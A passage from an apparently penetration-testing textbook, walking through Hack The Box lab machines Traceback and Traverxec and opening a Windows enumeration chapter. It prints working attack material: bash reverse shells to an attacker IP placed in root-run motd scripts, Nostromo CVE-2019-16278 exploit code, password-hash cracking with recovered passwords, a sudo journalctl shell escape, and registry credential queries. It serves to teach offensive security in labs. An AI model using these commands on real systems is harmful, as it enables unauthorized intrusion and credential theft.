1 ┌─[rin@parrot]─[~/boxes/Traceback] [34/40]
2 └──╼ $ssh-keygen -f sysadmin.key
3 Generating public/private rsa key pair.
4 Enter passphrase (empty for no passphrase):
5 Enter same passphrase again:
6 Your identification has been saved in sysadmin.key
7 Your public key has been saved in sysadmin.key.pub
8 The key fingerprint is:
9 SHA256:Nc30lm7tE6QDKmKMUuVSwK1FKJXeLlA0jZ8lUdFCfnk
10 rin@parrot
11 <SNIP>

Looking at the documentation for Lua script, writing to a file is fairly simple and we can
adapt the code to append the public key to the authorized_keys file:

1 file = io.open("/home/sysadmin/.ssh/authorized_keys","a")
2 io.output(file)
3 io.write("ssh-rsa … =")

We can then run this script:

1 webadmin@traceback:/dev/shm$ sudo -u sysadmin \


2 /home/sysadmin/luvit test.lua

And then SSH onto the machine as sysadmin:


hide01.ir
1 ┌─[oztechmuse@parrot]─[~/boxes/Traceback]
2 └──╼ $ssh -i sysadmin [email protected]
3 The authenticity of host 'traceback.htb (10.129.1.189)'
4 can't be established.
5 ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJ
6 vyQcAASWY9E/TlxoqxInU.
7 Are you sure you want to continue connecting
8 (yes/no/[fingerprint])? yes
9 Warning: Permanently added 'traceback.htb,10.129.1.189'
10 (ECDSA) to the list of known hosts.
11 #################################
12 -------- OWNED BY XH4H ---------
13 I guess stuff could have been configured better ^^ -
14 #################################
15 Welcome to Xh4H land
16 Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
17 $ whoami
18 sysadmin

Now that we are sysadmin and have got the flag in /home/sysadmin/user.txt, we can run
LinPEAS again as the sysadmin user. This will generate different output because as
sysadmin, we will have different privileges than webadmin. You can see this when looking
at the output and the sudo -l command returns nothing whereas it did when we were
webadmin. Running linpeas.sh again and looking through the output, we get a highly
exploitable vulnerability flagged:

1 [+] Interesting GROUP writable files (not in Home) (max 500)


2 [i]
3 https://book.hacktricks.xyz/linux-unix/privilege-escalation
4
5 ritable-files
6 Group sysadmin:
7 /etc/update-motd.d/50-motd-news
8 /etc/update-motd.d/10-help-text
9 /etc/update-motd.d/91-release-upgrade
10 /etc/update-motd.d/00-header
11 /etc/update-motd.d/80-esm
12 /home/webadmin/note.txt

Before we investigate this more, let us use another tool to enumerate processes called
pspy64 (https://github.com/DominicBreuker/pspy\). This will monitor processes and
hide01.ir
highlight when new processes run. When running it on Traceback, we see that every minute
a set of processes run:

1 2020/12/28 CMD: UID=0 PID=49845 | sleep 30


2 2020/12/28 CMD: UID=0 PID=49844 | /bin/cp /var/backups
3 /.update-motd.d/00-header /var/backups/
4 .update-motd.d/10-help-text /var/backups/
5 .update-motd.d/50-motd-news /var/backups/
6 .update-motd.d/80-esm /var/backups/
7 .update-motd.d/91-release-upgrade /etc/update-motd.d/
8 2020/12/28 CMD: UID=0 PID=49843 | /bin/sh -c /bin/cp
9 /var/backups/.update-motd.d/* /etc/update-motd.d/
10 2020/12/28 CMD: UID=0 PID=49842 | /bin/sh -c sleep 30 ;
11 /bin/cp /var/backups/.update-motd.d/*
12 /etc/update-motd.d/
13 2020/12/28 CMD: UID=0 PID=49841 | /usr/sbin/CRON -f
14 2020/12/28 CMD: UID=0 PID=49840 | /usr/sbin/CRON -f
15 2020/12/28 CMD: UID=0 PID=49846 | /bin/cp /var/backups/
16 .update-motd.d/00-header /var/backups/
17 .update-motd.d/10-help-text /var/backups/
18 .update-motd.d/50-motd-news /var/backups/
19 .update-motd.d/80-esm /var/backups/
20 .update-motd.d/91-release-upgrade /etc/update-motd.d/

Motd is "message of the day" and is a set of text files that are displayed to a user when they
log in. Linux uses PAM (Pluggable Authentication Modules) to manage the authentication
and login process. The module pam_motd is the one responsible for displaying the
messages to users logging in and before they get a shell.

We can see what happens to the pspy output when we SSH in:

1 CMD: UID=0 PID=50208 | /usr/sbin/sshd -D -R


2 CMD: UID=106 PID=50209 | sshd: [net]
3 CMD: UID=0 PID=50211 | run-parts --lsbsysinit
4 /etc/update-motd.d
5 CMD: UID=0 PID=50210 | sh -c /usr/bin/env
6 -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:
7 /usr/bin:/sbin:/bin run-parts
8 --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
9 CMD: UID=??? PID=50213 | ???
10 CMD: UID=0 PID=50214 | /bin/sh /etc/update-motd.d/
11 50-motd-news
12
hide01.ir
CMD: UID=0 PID=50218 | /bin/sh /etc/update-motd.d/
13 50-motd-news
14 CMD: UID=0 PID=50217 |
15 CMD: UID=0 PID=50216 |
16 CMD: UID=0 PID=50215 |
17 CMD: UID=0 PID=50219 | /bin/sh /etc/update-motd.d/80-esm
18 CMD: UID=0 PID=50220 | /bin/sh /etc/update-motd.d/80-esm
19 CMD: UID=0 PID=50221 | /usr/bin/python3 -Es
20 /usr/bin/lsb_release -ds
21 2CMD: UID=0 PID=50222 | /bin/sh
22 /etc/update-motd.d/91-release-upgrade
23 CMD: UID=0 PID=50225 | cut -d -f4
24 CMD: UID=0 PID=50224 | /usr/bin/python3 -Es
25 /usr/bin/lsb_release -sd
26 CMD: UID=0 PID=50223 | /bin/sh
27 /etc/update-motd.d/91-release-upgrade
28 CMD: UID=??? PID=50226 | ???
29 CMD: UID=0 PID=50227 | stat -c %Y
30 /var/lib/ubuntu-release-upgrader/
31 release-upgrade-available
32 CMD: UID=0 PID=50230 | sshd: sysadmin [priv]
33 CMD: UID=1001 PID=50231 | -sh

The most important thing hers is that we can see the scripts in the motd files being run by
root. We should be able to modify one of the files and put in a reverse shell which will get
called when we SSH in.

We can edit the file /etc/update-motd.d/00-header and add the line:

bash -c "bash -i >& /dev/tcp/10.10.14.117/6002 0>&1"

We start a netcat listener on our box listening on port 6002, write the motd file and then ssh
as sysadmin. You will know that the process has worked because the SSH login will hang
when it executes the reverse shell. Our listener should then drop into a shell as root:

1 ┌─[rin@parrot]─[~/boxes/Traceback]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.189]
5 bash: cannot set terminal process group (50728):
6
hide01.ir
Inappropriate ioctl for device
7 bash: no job control in this shell
8 root@traceback:/# whoami
9 whoami
10 root

In the enumeration process, we went through the steps of looking for information and then
looking for vulnerabilities that we could exploit on the system, in this case a
misconfiguration left by the "hackers" who had taken over the machine. LinPEAS made that
process more efficient, highlighting the vulnerability of the group writeable motd files.

We will look at another example where using LinPEAS highlights potential credentials in a
configuration file to get a user with different privileges. Having got this user, we can do
some manual enumeration to find a path to escalate privileges to get root.
hide01.ir
Exercise: Enumeration and privilege
escalation on Traverxec
An nmap scan shows that ports 22 and 80 are open:

1 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1


2 (protocol 2.0)
3 …
4 80/tcp open http nostromo 1.9.6
5 |_http-favicon: Unknown favicon MD5:
6 FED84E16B6CCFE88EE7FFAAE5DFEFD34
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST
9 |_http-server-header: nostromo 1.9.6
10 |_http-title: TRAVERXEC
11 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web server is Nostromo version 1.9.6. Looking at the exploit database we find a
number of potential vulnerabilities with this version. Before looking at the exploits however,
we should look at the website itself.

Going to the home page, we find a site of David White who is a web designer.
hide01.ir

Home page of Traverexec

Looking at the web page, there is little functionality enabled and so we can go back to the
vulnerabilities of the webserver Nostromo. If we do a searchsploit of nostromo, we find the
following:

1 ┌─[rin@parrot]─[~/boxes/Traverexec]
2 └──╼ $searchsploit nostromo
3 Exploit Title Path
4 Nostromo - Directory Traversal Remote Command Execution
5 (Metasploit) | multiple/remote/47573.rb
6 nostromo 1.9.6 - Remote Code Execution | multiple/remote/
7 47837.py
8 nostromo nhttpd 1.9.3 - Directory Traversal Remote
9 Command Execution | linux/remote/35466.sh

The vulnerability is CVE-2019-16278 and is an unauthenticated remote code execution


exploit due to the website allowing path traversal. If we look at the Python code by making
a local copy of the file:
hide01.ir
1 ┌─[oztechmuse@parrot]─[~/boxes/Traverexec]
2 └──╼ $searchsploit -m multiple/remote/47837.py
3 Exploit: nostromo 1.9.6 - Remote Code Execution
4 URL:
5 https://www.exploit-db.com/exploits/47837
6
7 Path: /usr/share/exploitdb/exploits/multiple/remote/47837.py
8 File Type: Python script, ASCII text executable,
9 with CRLF line terminators
10 Copied to: /home/oztechmuse/boxes/Traverexec/47837.py

The key part of the code that runs the exploit is the method cve:

1 def cve(target, port, cmd):


2 soc = socket.socket()
3 soc.connect((target, int(port)))
4 payload = 'POST /.%0d./.%0d./.%0d./.%0d./'
5 payload += 'bin/sh HTTP/1.0\r\nContent-Length: '
6 payload += '1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
7 soc.send(payload)
8 receive = connect(soc)
9 print(receive)

In this method, the script is doing an HTTP POST to a path that is


"/.%0d./.%0d./.%0d./.%0d./bin/sh". The Nostromo code checks for paths in the URL but
because of the addition of the carriage return character %0d, it does not think that this is a
path. The %0d is removed by a later function making the path "/../../../../bin/sh" and this is
then executed with the body of the POST as the argument.

We can use this script to run the same bash reverse shell we ran in Traceback after setting
up a netcat listener (note that you may have to change the code slightly to get it to run with
Python 3, encoding the payload: soc.send(payload.encode()):

1 python3 47837.py 10.129.1.193 80 \


2 "bash -c 'bash -i >& /dev/tcp/10.10.14.117/6001 0>&1'"
hide01.ir
We then get a reverse sehll on the box:

1 ┌─[rin@parrot]─[~]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.193] 51660
5 bash: cannot set terminal process group (640):
6 Inappropriate ioctl for device
7 bash: no job control in this shell
8 www-data@traverxec:/usr/bin$ whoami
9 whoami
10 www-data

Now that we are on the box, we can run LinPEAS by getting it using our local Python web
server. The machine is running Debian Buster and there are two users with login, root and
david. The key thing LinPEAS finds is a password hash that is stored in a .htpasswd file:

1 [i]
2 https://book.hacktricks.xyz/linux-unix/privilege-escalation#read-sensitive
3
4 -rw-r--r-- 1 root root 1994 Apr 18 2019 /etc/bash.bashrc
5 -rw-r--r-- 1 root root 3526 Apr 18 2019 /etc/skel/.bashrc
6 -rw-r--r-- 1 root root 807 Apr 18 2019 /etc/skel/.profile
7 -rw-r--r-- 1 root root 570 Jan 31 2010 /usr/share/base-files
8 /dot.bashrc
9 -rw-r--r-- 1 root root 2778 Jun 26 2016 /usr/share/doc/
10 adduser/examples/adduser.local.conf.examples/bash.bashrc
11 -rw-r--r-- 1 root root 802 Jun 26 2016 /usr/share/doc/
12 adduser/examples/adduser.local.conf.examples/skel/
13 dot.bashrc
14 -rw-r--r-- 1 root bin 41 Oct 25 2019 /var/nostromo/conf/
15 .htpasswd
16 Reading /var/nostromo/conf/.htpasswd
17 david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

We can try and crack the hash with John The Ripper. John detects that the hash is
md5crypt and cracks the password as Nowonly4me:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Traverexec]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt \
3 hash.txt
4 Warning: detected hash type "md5crypt", but the string
5 is also recognized as "md5crypt-long"
6 Use the "--format=md5crypt-long" option to force
7 loading these as that type instead
8 Using default input encoding: UTF-8
9 Loaded 1 password hash (md5crypt, crypt(3) $1$
10 (and variants) [MD5 256/256 AVX2 8x3])
11 Will run 2 OpenMP threads
12 Press 'q' or Ctrl-C to abort, almost any other key
13 for status
14 Nowonly4me (?)
15 <SNIP>

If we go into the /var/Nostromo/conf directory, we can see that there is a configuration file
for Nostromo nhttpd.conf, which when we examine, has declared support for home
directories:

1 # HOMEDIRS [OPTIONAL]
2 homedirs /home
3 homedirs_public public_www

This allows support for people running personal web pages which are of the URL format
http://traverexec.htb/~user/. We know that there are two users, root and david. For root, we
get a 404 but for david we get a page shown here:
hide01.ir

Home page of user david at http://traverexec.htb/~david/

When we try and list the contents of /home/david, we get Permission denied as we have
execute but not read permission:

1 www-data@traverxec:/home$ ls -al
2 total 12
3 drwxr-xr-x 3 root root 4096 Oct 25 2019 .
4 drwxr-xr-x 18 root root 4096 Oct 25 2019 ..
5 drwx--x--x 5 david david 4096 Oct 25 2019 david

From the Nostromo configuration file, we know that the web page for a home directory is in
the directory public_www so we can enter that directory and list the contents:

1 www-data@traverxec:/home$ cd david/public_www
2 www-data@traverxec:/home/david/public_www$ ls -al
3 total 16
hide01.ir
4 drwxr-xr-x 3 david david 4096 Oct 25 2019 .
5 drwx--x--x 5 david david 4096 Oct 25 2019 ..
6 -rw-r--r-- 1 david david 402 Oct 25 2019 index.html
7 drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file

Looking at the directory ./protected-file-area we find an .htaccess file and a file called
backup-ssh-identity-files.tgz

1 www-data@traverxec:/home/david/public_www/
2 protected-file-area$ ls -al
3 total 16
4 drwxr-xr-x 2 david david 4096 Oct 25 2019 .
5 drwxr-xr-x 3 david david 4096 Oct 25 2019 ..
6 -rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess
7 -rw-r--r-- 1 david david ... backup-ssh-identity-files.tgz

Looking at the .htaccess file, we get the contents

1 www-data@traverxec:/home/david/public_www/
2 protected-file-area$ cat .htaccess
3 realm David's Protected File Area. Keep out!

The .htaccess file is a simple way of restricting access to a directory and require basic
authentication of a user on the box. When we try and go to the URL
http://traverexec.htb/~david/protected-file-area/ we get presented with the dialog box and
can use the david as the username and Nowonly4me as the password.
hide01.ir
Basic authentication dialog box when navigating to http://traverexec.htb/~david/protected-
file-area

Once we get through the dialog, we get the contents of the directory listed. We can
download the file by right clicking and saving the link.

Contents of http://traverexec.htb/~david/protected-file-area

The file is in a compressed tar format and we can expand the contents using:

1 ┌─[rin@parrot]─[~/boxes/Traverexec/files]
2 └──╼ $tar xvf backup-ssh-identity-files.tgz
3 home/david/.ssh/
4 home/david/.ssh/authorized_keys
5 home/david/.ssh/id_rsa
6 home/david/.ssh/id_rsa.pub

Going into the directory ./home/david/.ssh and looking at the id_rsa key file, we see that it
is encrypted

1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $cat id_rsa
3 -----BEGIN RSA PRIVATE KEY-----
4 Proc-Type: 4,ENCRYPTED
5 DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
6 <SNIP>
7 -----END RSA PRIVATE KEY-----

And sure enough, when we try and use it to SSH using the user david, we get prompted for a
password. The password we used for the web page doesn't work however. Nor does it work
hide01.ir
when using it as david's actual login password. We can try and crack the id_rsa key by
using ssh2john.py which will extract a password hash from the SSH key in a format that
John understands:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $python2 /usr/share/john/ssh2john.py id_rsa > hash.txt

Again, we can then crack this with John The Ripper:

1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt \
3 hash.txt
4 Using default input encoding: UTF-8
5 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH
6 (SSH private keys) 32/64])
7 Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES])
8 is 0 for all loaded hashes
9 Cost 2 (iteration count) is 1 for all loaded hashes
10 Will run 2 OpenMP threads
11 Note: This format may emit false positives, so it
12 will keep trying even after
13 finding a possible candidate.
14 Press 'q' or Ctrl-C to abort, almost any other key
15 for status
16 hunter (id_rsa)

When we try and SSH now and use the password hunter, we get in!

1 ┌─[rin@parrot]─[~/boxes/Traverexec/files/home/david/.ssh]
2 └──╼ $ssh -i ./id_rsa [email protected]
3 Enter passphrase for key './id_rsa':
4 Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2
5 +deb10u1 (2019-09-20) x86_64
6 Last login: Tue Dec 29 07:54:43 2020 from 10.10.14.117
7 david@traverxec:~$
hide01.ir
As a starting point of our enumeration, it is always a good idea to start with the home
directory and if we list david's directory, we get

1 david@traverxec:~$ ls -al
2 total 36
3 drwx--x--x 5 david david 4096 Oct 25 2019 .
4 drwxr-xr-x 3 root root 4096 Oct 25 2019 ..
5 lrwxrwxrwx 1 root root 9 Oct 25 2019 .bash_history ->
6 /dev/null
7 -rw-r--r-- 1 david david 220 Oct 25 2019 .bash_logout
8 -rw-r--r-- 1 david david 3526 Oct 25 2019 .bashrc
9 drwx------ 2 david david 4096 Oct 25 2019 bin
10 -rw-r--r-- 1 david david 807 Oct 25 2019 .profile
11 drwxr-xr-x 3 david david 4096 Oct 25 2019 public_www
12 drwx------ 2 david david 4096 Oct 25 2019 .ssh
13 -r--r----- 1 root david 33 Oct 25 2019 user.txt

The .bash_history is a symbolically linked file to /dev/null which is a special file that
discards any content written to it. This is done on Hack The Box so that there is no
persistent history of the user's commands. There is the the .ssh directory and the
public_www directory we have already looked at but there is a new directory ./bin. The
directory has two files; server-stats.head and server-stats.sh with the following content:

1 david@traverxec:~/bin$ ls -al
2 total 16
3 drwx------ 2 david david 4096 Oct 25 2019 .
4 drwx--x--x 5 david david 4096 Oct 25 2019 ..
5 -r-------- 1 david david 802 Oct 25 2019 server-stats.head
6 -rwx------ 1 david david 363 Oct 25 2019 server-stats.sh
7 david@traverxec:~/bin$ cat server-stats.head
8 .----.
9 .---------. | == |
10 Webserver Statistics and Data |.-"""""-.| |----|
11 Collection Script || || | == |
12 (c) David, 2019 || || |----|
13 |'-.....-'| |::::|
14 '"")---(""' |___.|
15 /:::::::::::\" "
16 /:::=======:::\
17 jgs '"""""""""""""'
18
19 david@traverxec:~/bin$ cat server-stats.sh
20 #!/bin/bash
hide01.ir
21 cat /home/david/bin/server-stats.head
22 echo "Load: `/usr/bin/uptime`"
23 echo " "
24 echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 \"
25 echo " | /usr/bin/wc -l`"
26 echo "Files in the docroot: `/usr/bin/find \"
27 echo "/var/nostromo/htdocs/ | /usr/bin/wc -l`"
28 echo " "
29 echo "Last 5 journal log lines:"
30 /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | \
31 /usr/bin/cat
32 david@traverxec:~/bin$

The interesting part of this is the sudo command running the program journalctl. This is a
program that interacts with journald a daemon (service) that manages the journals (logs)
generated by systemd on a Linux system. The script is displaying the contents of server-
stats.head, then doing the "uptime" command which shows the current time, how long the
system has been running and the number of users logged onto the system. The ss
command will list the open sockets connected to the web server on port 80 and then count
the number of lines in the output using wc -l. Finally, the sudo command is running
journalctl which is listing the last 5 entries of the logs for the web server nostromo.service.

Since we can run journalctl using sudo, we can look at GTFObins and find that journalctl
uses less when the content is longer than a single page. Less is a program on Linux that
will break content into pages and allows vi commands to search for content as well as
dropping into an interactive shell with !/bin/sh command. Journalctl does not drop the
sudo privileges when running less and so it is possible to drop to an elevated shell very
simply by running:

1 david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl \


2 -n5 -unostromo.service
3 -- Logs begin at Mon 2020-12-28 EST, end at Tue 2020-12-29
4 Dec 29 07:15:25 traverxec crontab[2738]: (www-data)
5 LIST (www-data)
6 Dec 29 07:17:38 traverxec sudo[8915]: pam_unix(sudo:auth):
7 authentication failure; logname= uid=33 euid=0
8 tty=/dev/pts/0 ruser=www-data rhost= user=w
9 Dec 29 07:17:40 traverxec sudo[8915]: pam_unix(sudo:auth):
10 conversation failed
11 Dec 29 07:17:40 traverxec sudo[8915]: pam_unix(sudo:auth):
12
hide01.ir
auth could not identify password for [www-data]
13 Dec 29 07:17:40 traverxec sudo[8915]: www-data :
14 command not allowed ; TTY=pts/0 ; PWD=/dev/shm ;
15 USER=root ; COMMAND=list
16 !/bin/sh
17 # whoami
18 root
hide01.ir

Chapter 8 Windows Enumeration and Privilege


Escalation
hide01.ir
Enumeration and privilege escalation on
Windows
In the previous chapter we covered aspects of enumeration of a Linux machine once we
have access. We explored users, processes, the file system for the information and
software it has on it and the computer itself. In this chapter we will look at a Windows
environment. The enumeration principles are the same, however there are differences in
the details of accounts, file systems and the way processes run. There are important
differences also between machines that operate in a standalone fashion and those that
are administered as part of a collection of computers in an Active Directory Domain.

Windows Accounts and User Privileges

Windows has a number of different types of accounts. On a single machine where all of the
accounts are local accounts, the types are Administrator, Standard and Guest. The
difference between Administrator and a Standard user is in what files and folders they can
access on the machine and what actions they can take, like installing software, stopping
and starting services and other systems administrative tasks.

File permissions are controlled differently from the simple read, write, execute permissions
of Linux. Windows sets permissions on folders and files that allow users, or the groups they
belong to, modify, read and execute, list folder contents, and read and write data. There are
some other permissions relating to controlling who can access attributes and permissions
themselves.

What a user can do is controlled also by user rights. These are privileges that allow users to
do specific tasks such as back up files and directories which is controlled by the
SeBackupPrivilege or debug programs which is SeDebugPrivilege. We can list the privileges
on an account in several ways. The command whoami /priv will list the privileges set on a
user and whether they are disabled or enabled:

1 c:\Users\rin>whoami /priv
2 PRIVILEGES INFORMATION
3
hide01.ir
----------------------
4 Privilege Name Description State
5 ============================= =============================== ========
6 SeShutdownPrivilege Shut down the system Disabled
7 SeChangeNotifyPrivilege Bypass traverse checking Enabled
8 SeUndockPrivilege Remove computer from docking... Disabled
9 SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
10 SeTimeZonePrivilege Change the time zone Disabled

In addition to these rights that a user has, Windows groups also have their own rights and
so belonging to a specific group can give you access to those rights not specifically granted
through the user privileges. An example of this is Remote Desktop Users that allows
members to remotely access the machine.

Active Directory

Active Directory (AD) is often used to manage users in an organization because the users
can be centrally managed and can have access to more than one computer in the AD
domain. We won't be covering AD in detail here but just the basics about users and how
users and their access privileges change when they are an AD account rather than a local
account on a machine.

Generally, users rights in AD are the same as those that are assigned locally although there
are some specific rights that apply only in an Active Directory environment. What does
change are the built-in privileged accounts and groups of Active Directory. This includes
Enterprise Admins, Domain Admins, Administrators and Schema Admins. Commonly, we
are looking to get access to a user who is an enterprise or domain admin.

Enumeration Checklist on Windows

As with Linux machines in the previous chapter, the aim of enumeration is to understand
the system that you have access to in detail including the physical characteristics, network,
and software that is running on it, including system software. As with remote access, we
are looking for vulnerabilities related to software versions that we can exploit because we
hide01.ir
have local access. The same rules apply as before, depending on whether we actually have
the user's password and are able to exploit authenticated vulnerabilities as well as
unauthenticated ones. Whilst doing this, we are going to pay specific attention to potential
misconfigurations that can be exploited such as execution paths that allow scripts and
binaries to be run as part of the normal processing on the system. User privileges that allow
execution of administrative commands, installing or running services to establish
persistence and to create or alter users on the system.

With Windows, there is the added element of the enterprise environment which allows us to
get ownership of an entire domain of computers and accounts if we get administrative
privileges on that Active Directory domain or all of the domains of an enterprise.

At the same time, we are searching for information that might be accessible and useful,
including but not limited to, usernames and passwords. This might be in documents,
configuration files and databases.

To assist with this, there is a windows equivalent for LinPEAS called WinPEAS that does the
same job at enumerating aspects of the machine. We will look at the individual areas that
WinPEAS enumerates. Although we can look at individual commands that could be run
independently, it is easier if you need to know what these commands are, to look at the
WinPEAS script.

System Info

With Windows, the important aspects are the version of Windows that we are dealing with,
its particular build number and what hotfixes or patches (dealing with specific KBs or
Knowledge Base issues). This will allow us to determine if there are any specific
vulnerabilities that this configuration may have. We also need to know the architecture of
the machine to know what versions of applications to run (64 bit vs 32 bit) although it is
becoming rarer to see a 32 bit version of Windows running. WinPEAS provides the following
information about the system:

1 Hostname: DESKTOP-IRRKDNQ
2 ProductName: Windows 10 Education
3 EditionID: Education
4 ReleaseId: 1709
5 BuildBranch: rs3_release
6
hide01.ir
CurrentMajorVersionNumber: 10
7 CurrentVersion: 6.3
8 Architecture: AMD64
9 ProcessorCount: 2
10 SystemLang: en-US
11 KeyboardLang: English (United States)
12 TimeZone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
13 IsVirtualMachine: True
14 Current Time: 1/4/2021 11:55:39 AM
15 HighIntegrity: True
16 PartOfDomain: False
17 Hotfixes: KB2693643, KB4519564, KB4134661, KB4295110, KB4462930, KB4486153
18 KB4489219, KB4516115, KB4523202, KB4525241,

Vulnerabilities based on version

Using the version and build number, WinPEAS will use Watson to check what Knowledge
Base updates (KBs) have been updated and then suggest privilege escalation
vulnerabilities based on that. Alternatively, or in addition, you can use searchsploit and
internet searches to look for exploits.

Environment

Environment variables are set at a system (machine) level, user level and process level. On
Windows, you can use PowerShell to list all environment variables using the command

Get-ChildItem env:

Individual variables can be printed using $env:SystemRoot and you can set variables using
the same syntax $env:SystemRoot = c:\

The Path variable is important because it will be used by Windows to find an executable
and so if you have control over a directory in a path, then you can potentially add your own
executable file.

WinPEAS will list all environment variables on the machine for your user.
Check protections
hide01.ir
Although this will be the subject of its own chapter, Windows has a range of software and
configurations that try and protect the machine against deliberate or accidental
manipulation. We will go into some of these in more detail later, along with a discussion of
how to evade these protections, but for the time being, WinPEAS will list what protections
are enabled:

auditing of various events such as logon, account management, privilege use, process
tracking.
Windows Event Forwarding (WEF) which forwards events for other systems to check
for intrusions
Local Administrator Password Solution (LAPS) which manages local administrator
passwords in an AD environment,
LSA Protection which is additional protection for the Local Security Authority,
Credentials Guard which protects NTLM password hashes, Kerberos Ticket Granting
Tickets and application credentials,
Antivirus such as Windows Defender
User Account Control (UAC) which checks whether software being run is authorized and
whether the user running it is entitled to run it

PowerShell

PowerShell version information can be obtained by using the variable $PSVersionTable and
you can also check any logged history stored in the file:

1 c:\Users\rin\AppData\Roaming\Microsoft\Windows\PowerShell\
2 PSReadLine\ConsoleHost_history.txt

Another important policy that will determine what you can and can't do with PowerShell is
its execution mode. PowerShell has the following execution modes:

Restricted: which will not run scripts but just allow interactive commands
ByPass: nothing is blocked and there are no warnings or prompt
hide01.ir
AllSigned: which will run scripts but they have to be signed by a publisher you trust
although you can agree to trust a publisher
Remote Signed: where local scripts can run unsigned but those run from remote
sources need to be signed.
Unrestricted: which will run all scripts.
Undefined: the default is restricted for Windows clients and RemoteSigned for Windows
servers.

These policies apply at the machine, user, process level and you can list them using the
command:

1 PS C:\Users\rin\Desktop> Get-ExecutionPolicy -List


2 Scope ExecutionPolicy
3 ----- ---------------
4 MachinePolicy Undefined
5 UserPolicy Undefined
6 Process Undefined
7 CurrentUser Undefined
8 LocalMachine Unrestricted

To change the execution policy, you can use Set-ExecutionPolicy Unrestricted but you need
administrative access to do that.

Users and Groups

Get information about the users and groups on the system and whether the current user
has privileges that can be used to escalate further such as: SeImpersonatePrivilege,
SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege,
SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege,
SeDebugPrivilege. This is covered in more detail below.

1. Check user access to home directories.


2. Check password policies
3. Check contents of clipboard

Processes
hide01.ir
1. Check for non-Microsoft processes that are running on the box, their versions and any
known vulnerabilities
2. Check for non-Microsoft services that are running under elevated accounts.
3. Check whether the services can be modified by the user including stopping, starting
and updating configuration including registry settings.

Software

Enumerate software installed on the system in c:\Program Files and c:\Program Files (x86).
Software can be installed in other locations and checking the registry for Uninstall
information may reveal where.

1. Check for software configured to autorun.

Device Drivers

Check for non-Microsoft device drivers that may be vulnerable through DLL hijacking, being
able to write to folders inside the PATH.

Windows Credentials

Check Windows Vault for stored credentials accessible to software that can use Credentials
Manager and Windows Vault to automatically login on behalf of a user using the stored
credentials. You can list what credentials are stored by using the cmdkey /list command:

1 c:\Users\rin
2 λ cmdkey /list
3 Currently stored credentials:
4 Target: LegacyGeneric:target=git:https://github.com
5 Type: Generic
6 User: PersonalAccessToken
7 Local machine persistence
8 Target: LegacyGeneric:target=TERMSRV/172.16.5.66
9 Type: Generic
10 User: student
11 Local machine persistence
hide01.ir
Other places to look for credentials:

Passwords of saved Wifi networks?


Interesting info in saved RDP Connections?
Passwords in recently run commands?
Remote Desktop Credentials Manager passwords?

Network Information

1. Check for network interfaces and known hosts.


2. Check for network shares
3. Check current listening ports
4. Check firewall rules
5. Check cached DNS

File and Registry

As with the Linux enumeration, we are looking for any information that may be of value, but
especially information relating to credentials. Windows is different from Linux in that it has
the Windows Registry which is a in-memory database for storing configuration information.
This search involves looking at specific well-known locations that may potentially yield
credentials such as web.config files for the IIS web server, credentials stored with programs
like OpenVPN, SSH, Internet browsers, and other applications.

Some examples of registry locations that can be queried using the application reg are:

1 reg query "HKCU\Software\ORL\WinVNC3\Password"


2 reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
3 reg query "HKCU\Software\TightVNC\Server"
4 reg query "HKCU\Software\OpenSSH\Agent\Key"
hide01.ir
Exercise: Enumeration and privilege
escalation on Remote
This is a Windows machine that exposes an NFS file share which contains a file with a
password for an application called Umbraco which is an open source Content Management
System (CMS). The version of Umbraco running on the Remote machine has an
authenticated remote code execution vulnerability and so this allows us to get a reverse
shell on the box. Once on the box, enumeration using WinPEAS shows that there are a
number of vulnerabilities that could allow escalation. The first is the user has the ability to
edit the binary path for the UsoSvc (Update Orchestrator Service) and this allows us to run a
remote shell as System. The other path is to exploit a vulnerability in an application called
TeamViewer that stored its password in an encrypted form in the registry that is vulnerable
to cracking. The third is to use Rogue Potato which exploits the fact that the user has the
SeImpersonateToken privilege. An alternate to this is to run an exploit called PrintSpoofer.

An nmap scan shows that the Windows box is not an Active Directory domain controller (no
LDAP, DNS or Kerberos). The box does have a web server on port 80 and has ftp on port 21.

1 PORT STATE SERVICE VERSION


2 21/tcp open ftp Microsoft ftpd
3 |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
4 | ftp-syst:
5 |_ SYST: Windows_NT
